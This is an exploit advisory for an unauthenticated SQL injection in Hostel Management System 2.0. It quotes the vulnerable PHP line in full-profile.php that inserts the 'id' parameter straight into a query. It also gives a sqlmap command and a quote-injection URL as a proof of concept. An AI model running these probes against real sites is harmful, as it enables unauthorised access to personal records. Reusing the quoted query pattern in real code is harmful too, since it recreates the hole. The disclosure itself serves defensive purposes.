Hostel Management System 2.0 - 'id' SQL Injection (Unauthenticated)

# Exploit Title: Hostel Management System 2.0 - 'id' SQL Injection (Unauthenticated)
# Date: 2020-06-02
# Exploit Author: Selim Enes 'Enesdex' Karaduman
# Vendor Homepage: https://phpgurukul.com/hostel-management-system/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7210
# Version: 2.0
# Tested on: Windows 10 - Wamp Server

--Vulnerable file /full-profile.php

--Vulnerable code;
    $ret= mysqli_query($con,"SELECT * FROM registration where emailid = '".$_GET['id']."'");

    Id parameter's value is going into sql query directly!

--Proof Of Concept 
   
   sqlmap -u "http://TARGET/hostel/full-profile.php?id=6" 
   OR
   http://TARGET/hostel/full-profile.php?id=6' Single Quote will cause SQL error